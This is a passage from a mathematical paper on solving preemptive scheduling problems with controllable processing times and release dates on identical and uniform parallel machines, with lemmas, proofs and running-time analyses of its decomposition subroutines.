$$\varPhi ^{\prime \prime }=+\infty$$ corresponds to the case that the set $$Y\in \mathcal {H}_{v}$$ does not exist for $$v>\hat{h}$$ (this happens if $$h\le m-k-1$$ or equivalently $$\hat{h}=h$$). Assume $$m>k$$, and let $$\lambda _{v}$$ be the $$v$$-th largest value in the list $$\left( \lambda (j)\mid j\in H\right)$$ for $$v=1,2,\ldots ,\hat{h}$$. It follows that \begin{aligned} \varPhi ^{\prime }=\min _{0\le v\le \hat{h}}\left\{ dS_{v+k}-\sum _{i=1}^{v}\lambda _{i}\right\} \!. \end{aligned} (35) We then assume $$h>m-k-1$$. Since $$\lambda (j)\ge 0$$ for $$j\in H$$, the maximum in the right-hand side of the top line of (34) is achieved for $$Y=H$$, i.e., \begin{aligned} \varPhi ^{\prime \prime }=dS_{m}-\lambda (H). \end{aligned} (36) Below we describe the procedure that uses Eqs. (35) and (36) for computing the values $$\varPhi ^{\prime }$$ and $$\varPhi ^{\prime \prime }$$. Since the procedure will be used as a subroutine within the recursive Procedure Decomp, here we present it for computing $$\widetilde{\varphi }_{K}^{H}(X)$$ with $$X$$ being a heavy-element set $$\hat{H}$$. Besides, its output contains set $$Y_{},$$ an instrumental set for set $$\hat{H}$$. Let us analyze the time complexity of Procedure CompQr0. In Step 2, the values $$\lambda _{1},\lambda _{2},\ldots ,\lambda _{\hat{h}}$$ can be found in $$O(h)$$ time by using the list $$(\lambda (j)\mid j\in H)$$, so that the value $$\varPhi ^{\prime }$$ and set $$Y^{\prime }$$ can be computed in $$O(h)$$ time. It is easy to see that $$\varPhi ^{\prime \prime }$$ and $$Y^{\prime \prime }$$ can be obtained in $$O(h)$$ time as well. Hence, the value $$\widetilde{ \varphi }_{K}^{H}(X)$$ and set $$Y_{}$$ can be found in $$O(h)$$ time. ### Theorem 5 Problem $$Q\|p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ can be solved either in $$O(n\log n)$$ time or in $$O(n+m\log m\log n)$$ time. ### Proof Here, we only present the proof of the running time $$O(n\log n)$$, that is derived if in each level of recursion of Procedure Decomp we use Procedure CompQr0; the proof of the running time $$O(n+m\log m\log n)$$ is given in “Appendix”. As proved above, Procedure CompQr0 applied to Problem LP$$(H,F,K,\mathbf {l}, \mathbf {u)}$$ takes $$O(h)$$ time. In terms of Theorem 4 on the running time of Procedure Decomp, this implies that $$T_{Y_{}}(h)=O(h)$$. In the analysis of the time complexity of Procedure CompQr0, we assume that certain information is given as part of the input. This assumption can be satisfied by an appropriate preprocessing. In particular, when we decompose a problem with a set of job $$H$$ at a certain level of recursion into two subproblems, we may create the sorted lists $$(u(j)\mid j\in H)$$ and $$(l(j)\mid j\in H)$$. This can be done in $$O(h)$$ time, since the sorted lists $$(u(j)\mid j\in N)$$ and $$(l(j)\mid j\in N)$$ are available as a result of the initial preprocessing. Thus, we have that $$T_{\mathrm{Split}}(h)=O(h)$$. Hence, the theorem follows from Theorem 4. $$\square$$ ### 5.2 Identical machines, different release dates In this subsection, we show that problem $$P\|r(j),p(j)=\overline{p} (j)-x(j),C(j)\le d,pmtn\|W$$ can be solved in $$O(n\log m\log n)$$ time by the decomposition algorithm. To achieve this, we consider Problem LP$$(H,F,K, \mathbf {l},\mathbf {u})$$ that arises at some level of recursion of Procedure Decomp and present a procedure for computing the function $$\widetilde{\varphi }_{K}^{H}:2^{H}\rightarrow \mathbb {R}$$ given by (22). We show that for an arbitrary set $$X\subseteq H$$ the value $$\widetilde{\varphi }_{K}^{H}(X)$$ can be computed in $$O(h\log m)$$ time. For a heavy-element set $$\hat{H}\subseteq H{\setminus } F$$, finding a set $$Y_{}$$ that is instrumental for set $$\hat{H}$$ also requires $$O(h\log m)$$ time. Recall that for problem $$P\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ the rank function $$\varphi :2^{N}\rightarrow \mathbb {R}$$ is defined by (13), i.e., \begin{aligned} \varphi (X)=d\cdot \min \{m,\|X\|\}-\sum _{i=1}^{\min \{m,\|X\|\}}r_{i}(X),\qquad X\in 2^{N}, \end{aligned} where $$r_i(X)$$ denotes the i-th smallest release dates among the jobs of set X. This, together with (30), implies that \begin{aligned} \widetilde{\varphi }_{K}^{H}(X)&= u(X)-\left( d\cdot \min \{m,k\}-\sum _{i=1}^{\min \{m,k\}}r_{i}(K)\right) \nonumber \\&\quad +\,\min _{Y\in 2^{H}}\bigg \{d\cdot {\min \{m,\|Y\|+k\}} \nonumber \\&\quad -\,\sum _{i=1}^{\min \{m,\|Y\|+k\}}r_{i}(Y\cup K)-\lambda (Y)\bigg \}, \end{aligned} (37) where $$\lambda (j),\,j\in H,$$ are given by (31). Let $$\hat{h}$$ be defined by (29). Computation of the minimum in the last term in (37) is done differently for sets $$Y\subseteq H$$ with $$\left\| Y\right\| \le \hat{h}$$ and $$\left\| Y\right\| >\hat{h}$$. With $$\mathcal {H}_{v},\,0\le v\le h,$$ defined by (28), introduce \begin{aligned} \varPhi ^{\prime }=\left\{ \begin{array}{l@{\quad }l} \displaystyle \min _{0\le v\le \hat{h}}\left\{ d\cdot (v+k)-\max _{Y\in \mathcal {H}_{v}}\left\{ \sum _{i=1}^{v+k}r_{i}(Y\cup K)+\lambda (Y)\right\} \right\} , &{}\mathrm{if}\ \,m>k, \\ +\infty , &{}\mathrm{if}\ \,m\le k, \end{array}\right. \end{aligned} (38) and \begin{aligned} \varPhi ^{\prime \prime } =\left\{ \begin{array}{l} \displaystyle dm-\max \left\{ \sum _{i=1}^{m}r_{i}(Y\cup K)+\lambda (Y)\ \Big \|\ Y\in 2^{H},\ \|Y\|>\hat{h}\right\} , \\ \qquad \qquad \qquad \qquad \quad \mathrm{if~}h>m-k-1, \\ +\infty , \qquad \qquad \qquad \mathrm{if~}h\le m-k-1. \\ \end{array}\right. \end{aligned} (39) Similarly to Sect. 5.1, the values $$\varPhi ^{\prime }$$ and $$\varPhi ^{\prime \prime }$$ are responsible for computing the minimum in the last term in (37) over the sets $$Y\subseteq H$$ with $$\left\| Y\right\| \le \hat{h}$$ and with $$\left\| Y\right\| > \hat{h}$$, respectively, provided that the corresponding sets exist. Thus, (37) can be rewritten as \begin{aligned} \widetilde{\varphi }_{K}^{H}(X)=u(X)-\left( d\cdot \min \{m,k\}-\sum _{i=1}^{\min \{m,k\}}r_{i}(K)\right) +\min \left\{ \varPhi ^{\prime },\varPhi ^{\prime \prime }\right\} . \end{aligned} (40) We now explain how to compute the values $$\varPhi ^{\prime }$$ and $$\varPhi ^{\prime \prime }$$. From the list $$(\widetilde{\lambda }(j)\mid$$$$j\in H)$$, where \begin{aligned} \widetilde{\lambda }(j)=r(j)+\lambda (j),\qquad j\in H. \end{aligned} (41) Suppose that $$m>k$$. Computing of $$\varPhi ^{\prime }$$ can be done in a similar manner as in Sect. 5.1. The top line of the formula (38) can be rewritten as \begin{aligned} \varPhi ^{\prime }&= \min _{0\le v\le \hat{h}}\bigg \{d\cdot (v+k)-\max _{Y\in \mathcal {H}_{v}}\big \{r(Y)+r(K)+\lambda (Y)\big \}\bigg \} \\&= -r(K)+\min _{0\le v\le \hat{h}}\bigg \{d\cdot (v+k)-\max _{Y\in \mathcal {H} _{v}}\widetilde{\lambda }(Y)\bigg \}. \end{aligned} For $$v,~1\le v\le \hat{h}$$, let $$\widetilde{\lambda }_{v}$$ be the $$v$$-th largest value among the numbers $$\widetilde{\lambda }(j),\,j\in H$$. Then, we have \begin{aligned} \varPhi ^{\prime }=-r(K)+\min _{0\le v\le \hat{h}}\bigg \{d\cdot (v+k)-\sum _{i=1}^{v}\widetilde{\lambda }_{i}\bigg \}. \end{aligned} (42) We now turn to computing the value $$\varPhi ^{\prime \prime }$$. We may assume $$\hat{h}<h$$, i.e., $$h>m-k-1$$, since otherwise $$\varPhi ^{\prime \prime }=+\infty$$. For simplicity of the description, we assume, without loss of generality, that the jobs of set $$H\cup K$$ are renumbered in such a way that \begin{aligned} H\cup K=\left\{ 1,2,\ldots ,h+k\right\} ,\qquad r(1)\le r(2)\le \cdots \le r(h+k). \end{aligned} (43) For $$t=m,m+1,\ldots ,h+k$$, introduce \begin{aligned} K[t]&= \{j\in K\mid j\le t\}, \nonumber \\ \mathcal {H}^{z}[t]&= \left\{ Y\in 2^{H}\mid Y\subseteq \{1,2,\ldots ,t\},\ \|Y\|+\|K[t]\|=z\right\} \!,\quad \left\| K[t]\right\| \le z\le m. \end{aligned} (44) We define $$\bar{t}$$ to be the minimum $$t$$ with $$\|K[t]\|=m$$ if $$k\ge m$$; otherwise, let $$\bar{t}=h+k$$. Note that $$\bar{t}\ge m,$$ and $$\mathcal {H} ^{m}[t]\ne \emptyset$$ if $$m\le t\le \bar{t}$$. The following lemma is useful for computing the value $$\varPhi ^{\prime \prime }$$ efficiently. ### Lemma 4 Let $$Y^{\prime \prime }\in 2^{H}$$ be a set satisfying $$\|Y^{\prime \prime }\|>\hat{h}$$ and \begin{aligned} \sum _{i=1}^{m}r_{i}(Y^{\prime \prime }\cup K)+\lambda (Y^{\prime \prime })=\max \left\{ \sum _{i=1}^{m}r_{i}(Y\cup K)+\lambda (Y)\ \bigg \|\ Y\in 2^{H},\ \|Y\|>\hat{h}\right\} . \end{aligned} (45) Let $$t_{}\in H\cup K$$ be a job such that $$m\le t_{}\le \bar{t}$$ and the set $$\{j\in Y^{\prime \prime }\cup K\mid j\le t_{}\}$$ contains exactly $$m$$ elements. Define the sets $$Y_{1}^{\prime \prime }=\{j\in Y^{\prime \prime }\mid j\le t_{}\}$$ and $$Y_{2}^{\prime \prime }=\{j\in Y^{\prime \prime }\mid j>t_{}\}$$. Then the following properties hold: \begin{aligned} \begin{aligned} \mathrm{(i)}&\quad \sum \limits _{i=1}^{m}r_{i}(Y^{\prime \prime }\cup K)+\lambda (Y^{\prime \prime })=\widetilde{\lambda }(Y_{1}^{\prime \prime })+r(K[t_{}])+\lambda (Y_{2}^{\prime \prime }), \\ \mathrm{(ii)}&\quad Y_{1}^{\prime \prime }\in \mathcal {H}^{m}[t_{}]\, \text{ and } \,\widetilde{\lambda }(Y_{1}^{\prime \prime })=\max \{\widetilde{\lambda } (Y)\mid Y\in \mathcal {H}^{m}[t_{}]\}, \\ \mathrm{(iii)}&\quad Y_{2}^{\prime \prime }=\left\{ j\in H\mid j>t_{}\right\} . \end{aligned}\qquad \end{aligned} ### Proof First, notice that set $$Y^{\prime \prime }\cup K$$ contains at least $$\hat{h}+1+k\ge m$$ jobs, so that job $$t_{}$$ exists and $$m\le t_{}\le h+k$$. Notice that job $$t_{}$$ might belong to set $$H{\setminus } Y^{\prime \prime }$$, and that job $$t_{}$$ is not necessarily unique. Indeed, if, e.g., job $$t_{}+1\in H{\setminus } Y^{\prime \prime }$$, then $$\{j\in Y^{\prime \prime }\cup K\mid j\le t_{}\}=\{j\in Y^{\prime \prime }\cup K\mid j\le t_{}+1\}$$. We need to show that there exists a $$t_{}$$ that satisfies $$t_{}\le \bar{t}$$. To prove this, we only need to consider the case that $$k\ge m$$, since otherwise by definition $$\bar{t}=h+k$$. For $$k\ge m$$, let $$t_{}$$ be the smallest value of $$t$$ such that the equality $$\|\{j\in Y^{\prime \prime }\cup K\mid j\le t\}\|=m$$ holds. Since $$\|\{j\in K\mid j\le t_{}\}\|\le m$$, we have $$t_{}\le \bar{t}$$ by the definition of $$\bar{t}$$. Take a $$t_{}$$ that satisfies the lemma conditions. For an arbitrarily chosen set $$Z_{1}\in \mathcal {H}^{m}[t_{}]$$, define set $$Z\in 2^{H}$$ as $$Z=Z_{1}\cup Y_{2}^{\prime \prime }$$. Notice that $$\{j\in Z\cup K\mid j\le t_{}\}=Z_{1}\cup K[t_{}]$$. This implies \begin{aligned} \sum _{i=1}^{m}r_{i}(Z\cup K)+\lambda (Z)&= r(Z_{1})+r(K[t_{}])+\lambda (Z_{1})+\lambda (Y_{2}^{\prime \prime })\nonumber \\&= \widetilde{\lambda } (Z_{1})+r(K[t_{}])+\lambda (Y_{2}^{\prime \prime }). \end{aligned} (46) Since $$\{j\in Y^{\prime \prime }\cup K\mid j\le t_{}\}=Y_{1}^{\prime \prime }\cup K[t_{}]$$ and $$\|\{j\in Y^{\prime \prime }\cup K\mid j\le t_{}\}\|=m$$, we have $$Y_{1}^{\prime \prime }\in \mathcal {H}^{m}[t_{}]$$. Applying (46) with $$Z_{1}=Y_{1}^{\prime \prime }$$, we obtain \begin{aligned} \sum _{i=1}^{m}r_{i}(Y^{\prime \prime }\cup K)+\lambda (Y^{\prime \prime })= \widetilde{\lambda }(Y_{1}^{\prime \prime })+r(K[t_{}])+\lambda (Y_{2}^{\prime \prime }), \end{aligned} i.e., property (i) holds. Since the maximum in (45) is achieved for $$Y=Y^{\prime \prime }$$, the inequality \begin{aligned} \sum _{i=1}^{m}r_{i}(Y^{\prime \prime }\cup K)+\lambda (Y^{\prime \prime })\ge \sum _{i=1}^{m}r_{i}(Z\cup K)+\lambda (Z ) \end{aligned} holds for any set $$Z=Z_{1}\cup Y_{2}^{\prime \prime }$$ with $$Z_{1}\in \mathcal {H}^{m}[t_{}]$$. Then (46) and property (i) imply that $$\widetilde{\lambda }(Y_{1}^{\prime \prime })\ge \widetilde{\lambda } (Z_{1})$$. Hence, property (ii) holds. Since $$\lambda (j)\ge 0$$ for $$j\in H$$, we should include all jobs $$j\in H$$ with $$j>t_{}$$ into set $$Y_{2}^{\prime \prime }$$ to achieve the maximum in (45), i.e., property (iii) holds. $$\square$$ For each $$t,\,m\le t\le \bar{t}$$, define \begin{aligned} \eta _{1}[t]=\max _{Y\in \mathcal {H}^{m}[t]}\widetilde{\lambda }(Y),\qquad \rho [t]=r(K[t]),\qquad \eta _{2}[t]=\sum _{j\in H,\,j>t}\lambda (j). \end{aligned} We see from Lemma 4 that \begin{aligned} \varPhi ^{\prime \prime }=dm-\max _{m\le t\le \bar{t}}\{\eta _{1}[t]+\rho [t]+\eta _{2}[t]\} \end{aligned} (47) holds. We now show how to compute the values $$\eta _{1}[t],\rho [t]$$, and $$\eta _{2}[t]$$ efficiently. For $$t=m$$, define \begin{aligned} Q_{m}=\left\{ j\in H\mid j\le m\right\} . \end{aligned} (48) Notice that \begin{aligned} \max \{\widetilde{\lambda }(Y)\mid Y\in \mathcal {H}^{m}[m]\}=\max \left\{ \widetilde{\lambda }(Y)\mid Y\subseteq Q_{m},\ \|Y\|+\left\| K[m]\right\| =m\right\} =\widetilde{\lambda }(Q_{m}). \end{aligned} Thus, we have \begin{aligned} \eta _{1}[m]=\widetilde{\lambda }(Q_{m}),\qquad \rho [m]=r(K[m]),\qquad \eta _{2}[m]=\sum _{j\in H,\,j>m}\lambda (j). \end{aligned} (49) ### Lemma 5 Let $$t$$ be an integer with $$m<t\le \bar{t}$$. 1. (i) Given the values $$\rho [t-1]$$ and $$\eta _{2}[t-1],\, \rho [t]$$ and $$\eta _{2}[t]$$ can be obtained as \begin{aligned} \rho [t]=\left\{ \begin{array}{l@{\quad }l} \rho [t-1], &{}\mathrm{if}\ \,t\in H, \\ \rho [t-1]+r(t), &{}\mathrm{if}\ \,t\in K, \end{array}\right. \quad \eta _{2}[t]=\left\{ \begin{array}{l@{\quad }l} \eta _{2}[t-1]-\lambda (t), &{}\mathrm{if}\ \,t\in H, \\ \eta _{2}[t-1], &{}\mathrm{if}\ \,t\in K. \end{array}\right. \end{aligned} (50) 2. (ii) Given a set $$Q\in \mathcal {H}^{m}[t-1]$$ with $$\eta _{1}[t-1]= \widetilde{\lambda }(Q)$$, the value $$\eta _{1}[t-1]$$ and job $$z\in Q$$ such that $$\widetilde{\lambda }(z)=\min _{j\in Q}\widetilde{\lambda }(j)$$, the value $$\eta _{1}[t]$$ can be obtained as \begin{aligned} \eta _{1}[t]=\left\{ \begin{array}{l@{\quad }l} \eta _{1}[t-1], &{}\displaystyle \mathrm{if}\ \,t\in H,\ \widetilde{\lambda } (z)\ge \widetilde{\lambda }(t), \\ \displaystyle \eta _{1}[t-1]-\widetilde{\lambda }(z)+\widetilde{\lambda }(t), &{}\displaystyle \mathrm{if}\ \,t\in H,\ \widetilde{\lambda }(z)<\widetilde{ \lambda }(t), \\ \displaystyle \eta _{1}[t-1]-\widetilde{\lambda }(z), &{}\mathrm{if}\ \,t\in K. \end{array}\right. \end{aligned} (51) ### Proof We have $$K[t]=K[t-1]$$ if $$t\in H$$ and $$K[t]=K[t-1]\cup \{t\}$$ if $$t\in K$$. Hence, the first equation in (50) follows. The second equation in (50) is immediate from the definition of $$\eta _{2}$$. The Eq. (51) follows from the observation that $$\eta _{1}[t]$$ is equal to the sum of $$m-\|K[t]\|$$ largest numbers in the list $$\left( \widetilde{\lambda }(j)\mid j\in H,\ j\le t\right)$$. $$\square$$ Below we describe the procedure that uses Eqs. (42) and (47) for computing the values $$\varPhi ^{\prime }$$ and $$\varPhi ^{\prime \prime }$$. As in Sect. 5.1, the procedure outputs $$\widetilde{\varphi }_{K}^{H}(X)$$ for $$X=\hat{H}$$ and an instrumental set $$Y_{}$$ for set $$\hat{H}$$. Now we analyze the running time of this procedure. In Steps 1 and 2 we compute the value $$\varPhi ^{\prime }$$ and find set $$Y^{\prime }$$. Step 1 can be done in constant time. Step 2-1 can be done by selecting $$\hat{h}$$ largest numbers in the list $$(\widetilde{\lambda }(j)\mid j\in H)$$ in $$O(h)$$ time and then sorting them in $$O(\hat{h}\log \hat{h})$$ time. Since Step 2-2 can be done in $$O(k+\hat{h})$$ time, Step 2 requires $$O(k+h+\hat{h}\log \hat{h })=O(k+h\log \hat{h})=O(k+h\log m)$$ time in total. In Steps 3 and 4 we compute the value $$\varPhi ^{\prime \prime }$$ and find set $$Y^{\prime \prime }$$. Step 3 can be also done in constant time. We assume that both $$\left( r(j)\mid j\in H\right)$$ and $$\left( r(j)\mid j\in K\right)$$ are given as sorted lists; this can be easily satisfied by appropriate preprocessing. Then, Step 4-1 can be done in $$O(h+k)$$ time by using merge sort. Step 4-2 can be done in $$O(h+k)$$ time. In Step 4-3, we implement $$Q$$ as a heap for computational efficiency. Initially $$Q=Q_{m}$$ consists of at most $$m$$ elements, and to initialize the heap $$Q$$ takes $$O(h+m\log m)$$ time. The number of elements in the heap does not increase, so that each iteration in Step 4-3 can be done in $$O(\log m)$$ time, which implies that Step 4-3 requires $$O((h+k)\log m)$$ time. Step 4-4 can be done in $$O(h+k)$$ time. Step 4-5 is needed for finding the set $$Y^{\prime \prime }$$ and is implemented as a partial rerun of Step 4-3 in $$O((h+k)\log m)$$ time. Finally, we compute the value $$\widetilde{\varphi }_{K}^{H}(X)$$ in Step 5. We may assume that the value $$u(X)$$ in Step 5 is given in advance. The value $$\sum _{i=1}^{\min \{m,k\}}r_{i}(K)$$ can be computed in $$O(k)$$ time, since a sorted list $$\left( r(j)\mid j\in K\right)$$ is available. Hence, Step 5 can be done in $$O(k)$$ time. In total, Procedure CompPrj requires $$O((h+k)\log m)$$ time. In particular, the procedure runs in $$O(h\log m)$$ time if $$h\ge k$$. In the rest of this subsection, we show that a slightly modified version of Procedure CompPrj can also be run in $$O(h\log m)$$ time for $$h<k$$. First, consider the case that $$h\ge m$$. Then, we have $$k>h\ge m$$. Let $$K_{m}$$ be a set of $$m$$ jobs in $$K$$ with $$m$$ smallest release dates. It is easy to see that the jobs in $$K{\setminus } K_{m}$$ do not affect the values $$r_{i}(K)$$ and $$r_{i}(Y\cup K)$$, i.e., it holds that \begin{aligned} r_{i}(K)=r_{i}(K_{m}),\quad r_{i}(Y\cup K)=r_{i}(Y\cup K_{m}),\qquad i=1,2,\ldots ,m,\quad Y\in 2^{H}. \end{aligned} It follows that in the formula (37) for $$\widetilde{ \varphi }_{K}^{H}(X)$$, the value in the right-hand side remains the same even if we replace $$K$$ and $$k$$ with $$K_{m}$$ and $$m$$, respectively. Making the same replacement in Procedure CompPrj, we deduce that it will run in $$O((h+m)\log m)=O(h\log m)$$ time, provided that set $$K_{m}$$ is given in advance. We finally consider the case that $$h<m$$. From the discussion above, we may assume that $$k\le m$$. For any $$Y\in 2^{H}$$, the contribution of the release dates into the right-hand side of (37) is equal to $$\sum _{i=1}^{k}r_{i}(K)-\sum _{i=1}^{\min \{m,\|Y\|+k\}}r_{i}(Y\cup K)$$. Let $$k^{\prime }=m-h$$ and $$K^{\prime }$$ be the set of jobs in $$K$$ with $$k^{\prime }$$ smallest release dates among $$r(j),\,j\in K$$. Since $$\|Y\|\le h<m$$, each of the values $$r(j),\,j\in K^{\prime }$$, contributes to the sum $$\sum _{i=1}^{\min \{m,\|Y\|+k\}}r_{i}(Y\cup K)$$. Hence, it follows that \begin{aligned} \sum _{i=1}^{k}r_{i}(K)-\sum _{i=1}^{\min \{m,\|Y\|+k\}}r_{i}(Y\cup K)&= \sum _{i=1}^{k-k^{\prime }}r_{i}\left( K{\setminus } K^{\prime }\right) \\&\quad -\,\sum _{i=1}^{\min \{m,\|Y\|+(k-k^{\prime })\}}r_{i}\left( Y\cup (K{\setminus } K^{\prime })\right) . \end{aligned} Thus, in formula (37), the value in the right-hand side remains the same if we replace $$K$$ and $$k$$ with $$K{\setminus } K^{\prime }$$ and $$k-k^{\prime }$$, respectively. Making the same replacement in Procedure CompPrj, we deduce that it will run in $$O((h+k-k^{\prime })\log m)$$ time, provided that the set $$K{\setminus } K^{\prime }$$ is given in advance. Since $$k-k^{\prime }=k-(m-h)\le h$$ holds for $$k\le m$$, the running time of Procedure CompPrj is $$O(h\log m)$$. We are now ready to prove the main statement regarding problem $$P\|r(j),\,p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$. ### Theorem 6 Problem $$P\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ can be solved in $$O(n\log m\log n)$$ time. ### Proof As proved above, Procedure CompPrj applied to Problem LP$$(H,F,K,$$$$\mathbf {l},\mathbf {u)}$$ takes $$O(h\log m)$$ time. In terms of Theorem 4 on the running time of Procedure Decomp, we have proved that $$T_{Y_{}}(h)=O(h\log m)$$. In the analysis of the time complexity of Procedure CompPrj, we assume that certain information is given as part of the input. This assumption can be satisfied by an appropriate preprocessing, when we decompose a problem at a certain level of recursion into two subproblems, based on the found set $$Y_{}$$. It is not hard to see that this can be done in $$O(h\log m)$$ time, i.e., we have $$T_{\mathrm{Split}}(h)=O(h\log m)$$. Hence, the theorem follows from Theorem 4. $$\square$$ ### 5.3 Uniform machines, different release dates In this subsection, we show that problem $$Q\|r(j),p(j)=\overline{p} (j)-x(j),C(j)\le d,pmtn\|W$$ can be solved in $$O(nm\log n)$$ time by the decomposition algorithm. To achieve this, we consider Problem LP$$(H,F,K, \mathbf {l},\mathbf {u})$$ that arises at some level of recursion of Procedure Decomp and present a procedure for computing the function $$\widetilde{\varphi }_{K}^{H}:2^{H}\rightarrow \mathbb {R}$$ given by (22). We show that for an arbitrary set $$X\subseteq H$$ the value $$\widetilde{\varphi }_{K}^{H}(X)$$ can be computed in $$O(hm)$$ time. For a heavy-element set $$\hat{H}\subseteq H{\setminus } F$$, finding a set $$Y_{}$$ that is instrumental for set $$\hat{H}$$ also requires $$O(hm)$$ time. Recall that for problem $$Q\|r(j),p(j)=\overline{p}(j)-x(j),C(j)\le d,pmtn\|W$$ the rank function $$\varphi :2^{N}\rightarrow \mathbb {R}$$ is defined by (12), i.e., \begin{aligned} \varphi (X)=dS_{\min \left\{ m,\left\| X\right\| \right\} }-\sum _{i=1}^{\min \left\{ m,\left\| X\right\| \right\} }s_{i}r_{i}(X), \end{aligned} where $$r_{i}\left( X\right)$$ denotes the $$i$$-th smallest release dates among the jobs of set $$X$$. This, together with (30), implies that \begin{aligned} \widetilde{\varphi }_{K}^{H}(X)&= u(X)-\bigg (dS_{\min \{m,k\}}-\sum _{i=1}^{\min \{m,k\}}s_{i}r_{i}(K)\bigg ) \nonumber \\&\quad +\,\min _{Y\in 2^{H}}\Bigg \{ \bigg (dS_{\min \{m,\|Y\|+k\}}-\sum _{i=1}^{\min \{m,\|Y\|+k\}}s_{i}r_{i}(Y\cup K)\bigg )-\,\lambda (Y)\Bigg \},\qquad \end{aligned} (52) where $$\lambda (j),\,j\in H,$$ are given by (31). Let $$\hat{h}$$ be defined by (29). Computation of the minimum in the last term in (52) is done differently for sets $$Y\subseteq H$$ with $$\left\| Y\right\| \le \hat{h}$$ and $$\left\| Y\right\| >\hat{h}$$. With $$\mathcal {H}_{v},\,0\le v\le h,$$ defined by (28), introduce \begin{aligned} \varPhi ^{\prime }=\left\{ \begin{array}{l@{\quad }l} \displaystyle \min \limits _{0\le v\le \hat{h}}\left\{ dS_{v+k}-\max \limits _{Y\in \mathcal {H}_{v}}\left\{ \sum _{i=1}^{v+k}s_{i}r_{i}(Y\cup K)+\lambda (Y)\right\} \right\} , &{} \mathrm{if}\ \,m>k, \\ +\infty , &{}\mathrm{if}\ \,m\le k, \end{array}\right. \end{aligned} (53) and \begin{aligned} \varPhi ^{\prime \prime }=\left\{ \begin{array}{l} \displaystyle dS_{m}-\max \bigg \{\sum _{i=1}^{m}s_{i}r_{i}(Y\cup K)+\lambda (Y)\ \bigg \|\ Y\in 2^{H},\ \|Y\|>\hat{h}\bigg \}, \\ \qquad \qquad \mathrm{if}\ \,h>m-k-1, \\ \\ +\infty , \qquad \mathrm{if}\ \,h\le m-k-1. \\ \end{array}\right. \end{aligned} (54) Thus, (52) can be rewritten as \begin{aligned} \widetilde{\varphi }_{K}^{H}(X)=u(X)-\left( dS_{\min \{m,k\}}-\sum _{i=1}^{\min \{m,k\}}s_{i}r_{i}(K)\right) +\min \left\{ \varPhi ^{\prime },\varPhi ^{\prime \prime }\right\} \!. \end{aligned} (55) We explain how to compute the values $$\varPhi ^{\prime }$$ and $$\varPhi ^{\prime \prime }$$. As in Sect. 5.2, for simplicity of the description, we assume, without loss of generality, that the jobs are renumbered so that (43) holds. In order to compute $$\varPhi ^{\prime }$$, for $$v$$ and $$t$$ such that $$0\le v\le \hat{h}$$ and $$1\le t\le h+k$$, define \begin{aligned} \begin{aligned} \mathcal {H}_{v}[t]&=\left\{ Y\in \mathcal {H}_{v}\mid Y\subseteq \left\{ 1,2,\ldots ,t\right\} \right\} , \\ \xi _{v}[t]&=\max _{Y\in \mathcal {H}_{v}[t]}\left\{ \sum _{i=1}^{v+k}s_{i}r_{i}(Y\cup K)+\lambda (Y)\right\} , \end{aligned} \end{aligned} (56) where $$\xi _{v}[t]$$ is set to $$-\infty$$ if $$\mathcal {H}_{v}[t]=\emptyset$$. Then, we have \begin{aligned} \varPhi ^{\prime }=\max _{0\le v\le \hat{h}}\left\{ dS_{v+k}-\xi _{v}[h+k]\right\} . \end{aligned} (57) Notice that all $$k$$ jobs of set $$K$$ and $$v$$ jobs of set $$Y\in \mathcal {H}_{v}[t]$$ contribute into $$\sum _{i=1}^{v+k}s_{i}r_{i}(Y\cup K)$$. The required values $$\xi _{v}[t]$$ can be computed by a dynamic programming algorithm. Assume that for the current numbering of the jobs in $$H\cup K$$, the jobs in set $$K$$ get the numbers $$j_{1},j_{2},\ldots ,j_{k}$$, so that $$r\left( j_{1}\right) \le \cdots \le r\left( j_{k}\right)$$. For $$v=0$$, notice that $$\mathcal {H}_{0}[t]=\left\{ \emptyset \right\}$$, so that in accordance with (56) we compute \begin{aligned} \xi _{0}\left[ t\right] =\sum _{i=1}^{k}s_{i}r(j_{i}),\qquad t=1,\ldots ,h+k. \end{aligned} (58) If job $$1$$ belongs to set $$H$$, then $$\mathcal {H}_{1}[1]=\left\{ \left\{ 1\right\} \right\} ;$$ otherwise $$\mathcal {H}_{1}[1]=\emptyset$$. Besides, $$\mathcal {H}_{v}[1]=\emptyset$$ for each $$v\ge 2$$. Suppose that for some value of $$t,\,1\le t\le h+k$$, the sets $$\mathcal {H}_{v}[\tau ]$$ have been identified for all $$v$$ and $$\tau ,~0\le v\le \hat{h},\,1\le \tau \le t-1$$. Then \begin{aligned} \mathcal {H}_{v}[t]=\left\{ \begin{array}{l@{\quad }l} \mathcal {H}_{v}[t-1]\cup \left\{ Y\cup \left\{ t\right\} \mid Y\in \mathcal {H }_{v-1}[t-1]\right\} , &{}\mathrm{if}~t\in H, \\ \mathcal {H}_{v}[t-1] &{} \mathrm{if}~t\in K. \end{array}\right. \end{aligned} (59) Given a job $$t\in H$$, let us determine the position of job $$t$$ relative to the jobs of set $$K$$. If $$r(t)>r\left( j_{k}\right)$$, then define $$\ell _{t}=k+1;$$ otherwise, set $$\ell _{t}$$ to be equal to $$\ell$$ such that for job $$j_{\ell }\in K$$ we have that $$j_{\ell -1}<t<j_{\ell }$$. The values of $$\ell _{t}$$ can be found for all $$t\in H$$ in $$O(h+k)$$ time by scanning the sorted sequence of jobs of set $$H\cup K$$. For some $$t\in H$$ and $$v,\,1\le v\le \hat{h}$$, assume that we have found the value \begin{aligned} \xi _{v-1}[t-1]=\sum _{i=1}^{v+k-1}s_{i}r_{i}\left( \bar{Y}\cup K\right) +\lambda (\bar{Y}), \end{aligned} where $$\bar{Y}\in \mathcal {H}_{v-1}[t-1]$$. Take $$\ell =\ell _{t}$$. If $$\ell =k+1$$, then job $$t$$ has the largest release date among the jobs of set $$\bar{Y}\cup K\cup \left\{ t\right\}$$, so that \begin{aligned} \xi _{v}[t]&= \max \left\{ \xi _{v}[t-1],\xi _{v-1}[t-1]+s_{k+v}r(t)+\lambda (t)\right\} \\&= \max \left\{ \xi _{v}[t-1],\xi _{v-1}[t-1]+s_{\ell +v-1}r(t)+\lambda (t)\right\} . \end{aligned} If $$\ell \le k$$, then among jobs $$j\in \bar{Y}\cup K$$ such that $$j\le j_{\ell }$$, there are $$v-1$$ jobs of set $$H$$ and $$\ell$$ jobs of set $$K$$, i.e., job $$j_{\ell }$$ has the $$\left( \ell +v-1\right) -$$th smallest release date in $$\bar{Y}\cup 